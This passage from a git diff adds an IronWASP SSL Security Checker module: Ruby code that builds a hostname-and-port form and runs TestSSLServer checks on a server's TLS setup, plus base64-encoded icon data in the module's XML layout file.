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') + mod_label_1 = ModLabel.new() + mod_label_1.Name = 'mod_label_1' + mod_label_1.Size = ModUiTools.get_size_definition(100,23) + mod_label_1.Location = ModUiTools.get_location_definition(13,39) + mod_label_1.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + mod_label_1.Dock = ModUiTools.get_dock_style_definition('None') + mod_label_1.Enabled = true + mod_label_1.BackColor = ModUiTools.get_color_definition(-986896) + mod_label_1.ForeColor = ModUiTools.get_color_definition(-16777216) + mod_label_1.BorderStyle = ModUiTools.get_border_style_definition('None') + mod_label_1.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',9,true,false,false,false) + mod_label_1.Text = Tools.base64_decode('T3V0cHV0Og==') + ui.Controls.Add(mod_label_1) + ui.mod_controls['mod_label_1'] = mod_label_1 + _outputText = ModTextBox.new() + _outputText.Name = '_outputText' + _outputText.Size = ModUiTools.get_size_definition(543,335) + _outputText.Location = ModUiTools.get_location_definition(13,65) + _outputText.Anchor = ModUiTools.get_anchor_style_definition(true,true,true,true) + _outputText.Dock = ModUiTools.get_dock_style_definition('None') + _outputText.Enabled = true + _outputText.BackColor = ModUiTools.get_color_definition(-1) + _outputText.ForeColor = ModUiTools.get_color_definition(-16777216) + _outputText.BorderStyle = ModUiTools.get_border_style_definition('Fixed3D') + _outputText.ReadOnly = false + _outputText.ScrollBars = ModUiTools.get_scroll_bars_definition('Both') + _outputText.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',8.25,false,false,false,false) + _outputText.Multiline = true + _outputText.WordWrap = false + _outputText.TextAlign = ModUiTools.get_text_align_definition('Left') + ui.Controls.Add(_outputText) + ui.mod_controls['_outputText'] = _outputText + _goBtn = ModButton.new() + _goBtn.Name = '_goBtn' + _goBtn.Size = ModUiTools.get_size_definition(75,23) + _goBtn.Location = ModUiTools.get_location_definition(478,7) + _goBtn.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + _goBtn.Dock = ModUiTools.get_dock_style_definition('None') + _goBtn.Enabled = true + _goBtn.BackColor = ModUiTools.get_color_definition(-986896) + _goBtn.ForeColor = ModUiTools.get_color_definition(-16777216) + _goBtn.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',9,true,false,false,false) + _goBtn.Text = Tools.base64_decode('R28=') + ui.Controls.Add(_goBtn) + ui.mod_controls['_goBtn'] = _goBtn + _portValue = ModTextBox.new() + _portValue.Name = '_portValue' + _portValue.Size = ModUiTools.get_size_definition(70,20) + _portValue.Location = ModUiTools.get_location_definition(402,9) + _portValue.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + _portValue.Dock = ModUiTools.get_dock_style_definition('None') + _portValue.Enabled = true + _portValue.BackColor = ModUiTools.get_color_definition(-1) + _portValue.ForeColor = ModUiTools.get_color_definition(-16777216) + _portValue.BorderStyle = ModUiTools.get_border_style_definition('Fixed3D') + _portValue.ReadOnly = false + _portValue.ScrollBars = ModUiTools.get_scroll_bars_definition('None') + _portValue.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',8.25,false,false,false,false) + _portValue.Multiline = false + _portValue.WordWrap = true + _portValue.TextAlign = ModUiTools.get_text_align_definition('Left') + _portValue.Text = Tools.base64_decode('NDQz') + ui.Controls.Add(_portValue) + ui.mod_controls['_portValue'] = _portValue + _portLbl = ModLabel.new() + _portLbl.Name = '_portLbl' + _portLbl.Size = ModUiTools.get_size_definition(40,23) + _portLbl.Location = ModUiTools.get_location_definition(366,9) + _portLbl.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + _portLbl.Dock = ModUiTools.get_dock_style_definition('None') + _portLbl.Enabled = true + _portLbl.BackColor = ModUiTools.get_color_definition(-986896) + _portLbl.ForeColor = ModUiTools.get_color_definition(-16777216) + _portLbl.BorderStyle = ModUiTools.get_border_style_definition('None') + _portLbl.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',9,true,false,false,false) + _portLbl.Text = Tools.base64_decode('UG9ydDo=') + ui.Controls.Add(_portLbl) + ui.mod_controls['_portLbl'] = _portLbl + _hostNameValue = ModTextBox.new() + _hostNameValue.Name = '_hostNameValue' + _hostNameValue.Size = ModUiTools.get_size_definition(265,20) + _hostNameValue.Location = ModUiTools.get_location_definition(94,9) + _hostNameValue.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + _hostNameValue.Dock = ModUiTools.get_dock_style_definition('None') + _hostNameValue.Enabled = true + _hostNameValue.BackColor = ModUiTools.get_color_definition(-1) + _hostNameValue.ForeColor = ModUiTools.get_color_definition(-16777216) + _hostNameValue.BorderStyle = ModUiTools.get_border_style_definition('Fixed3D') + _hostNameValue.ReadOnly = false + _hostNameValue.ScrollBars = ModUiTools.get_scroll_bars_definition('None') + _hostNameValue.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',8.25,false,false,false,false) + _hostNameValue.Multiline = false + _hostNameValue.WordWrap = true + _hostNameValue.TextAlign = ModUiTools.get_text_align_definition('Left') + _hostNameValue.Text = Tools.base64_decode('ZS5nLiBpcm9ud2FzcC5vcmc=') + ui.Controls.Add(_hostNameValue) + ui.mod_controls['_hostNameValue'] = _hostNameValue + _hostNameLbl = ModLabel.new() + _hostNameLbl.Name = '_hostNameLbl' + _hostNameLbl.Size = ModUiTools.get_size_definition(76,23) + _hostNameLbl.Location = ModUiTools.get_location_definition(12,9) + _hostNameLbl.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + _hostNameLbl.Dock = ModUiTools.get_dock_style_definition('None') + _hostNameLbl.Enabled = true + _hostNameLbl.BackColor = ModUiTools.get_color_definition(-986896) + _hostNameLbl.ForeColor = ModUiTools.get_color_definition(-16777216) + _hostNameLbl.BorderStyle = ModUiTools.get_border_style_definition('None') + _hostNameLbl.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',9,true,false,false,false) + _hostNameLbl.Text = Tools.base64_decode('SG9zdG5hbWU6') + ui.Controls.Add(_hostNameLbl) + ui.mod_controls['_hostNameLbl'] = _hostNameLbl + mod_label_2 = ModLabel.new() + mod_label_2.Name = 'mod_label_2' + mod_label_2.Size = ModUiTools.get_size_definition(8,8) + mod_label_2.Location = ModUiTools.get_location_definition(20,0) + mod_label_2.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + mod_label_2.Dock = ModUiTools.get_dock_style_definition('None') + mod_label_2.Enabled = true + mod_label_2.BackColor = ModUiTools.get_color_definition(-986896) + mod_label_2.ForeColor = ModUiTools.get_color_definition(-16777216) + mod_label_2.BorderStyle = ModUiTools.get_border_style_definition('None') + mod_label_2.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',8.25,false,false,false,false) + ui.Controls.Add(mod_label_2) + ui.mod_controls['mod_label_2'] = mod_label_2 + ui.ShowUi() + + # Event handler for the Go button + _goBtn.Click do + # For running the code in a background thread, use the IronThread class + IronThread.Run( + Proc.new do + exec_checks(_hostNameValue.Text, _portValue.Text, _outputText) + end + ) + end + + # Handle the output events thrown by the TestSSLServer dll and print the messages + if not @tss.output_event_set + _outputText.Text = "" + @tss.output_message do |msg| + _outputText.AppendText(msg) + end + end +end + + +def exec_checks(hostname, port, output) + output.Text = "" + output.Text = @tss.run_checks(hostname, port) +end + +#This code is executed only once when this new module is loaded in to the memory. +#Create an instance of the this module +m = SSLSecurityChecker.new +#Call the get_instance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of Modules +RubyModule.add(m.get_instance) + + diff --git a/Iron/bin/Debug/modules/SSLSecurityChecker/SSLSecurityChecker.xml b/Iron/bin/Debug/modules/SSLSecurityChecker/SSLSecurityChecker.xml new file mode 100644 index 0000000..275789c --- /dev/null +++ b/Iron/bin/Debug/modules/SSLSecurityChecker/SSLSecurityChecker.xml @@ -0,0 +1,327 @@ + + + + 584 + 450 + + U1NMIFNlY3VyaXR5IENoZWNrZXI= + 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VQD/X1UAAH9VAFV/VQCqf1UA/39VAACfVQBVn1UAqp9VAP+fVQAAv1UAVb9VAKq/VQD/v1UAAN9VAFXfVQCq31UA/99VAAD/VQBV/1UAqv9VAP//VQAAAH8AVQB/AKoAfwD/AH8AAB9/AFUffwCqH38A/x9/AAA/fwBVP38Aqj9/AP8/fwAAX38AVV9/AKpffwD/X38AAH9/AFV/fwCqf38A/39/AACffwBVn38Aqp9/AP+ffwAAv38AVb9/AKq/fwD/v38AAN9/AFXffwCq338A/99/AAD/fwBV/38Aqv9/AP//fwAAAKoAVQCqAKoAqgD/AKoAAB+qAFUfqgCqH6oA/x+qAAA/qgBVP6oAqj+qAP8/qgAAX6oAVV+qAKpfqgD/X6oAAH+qAFV/qgCqf6oA/3+qAACfqgBVn6oAqp+qAP+fqgAAv6oAVb+qAKq/qgD/v6oAAN+qAFXfqgCq36oA/9+qAAD/qgBV/6oAqv+qAP//qgAAANQAVQDUAKoA1AD/ANQAAB/UAFUf1ACqH9QA/x/UAAA/1ABVP9QAqj/UAP8/1AAAX9QAVV/UAKpf1AD/X9QAAH/UAFV/1ACqf9QA/3/UAACf1ABVn9QAqp/UAP+f1AAAv9QAVb/UAKq/1AD/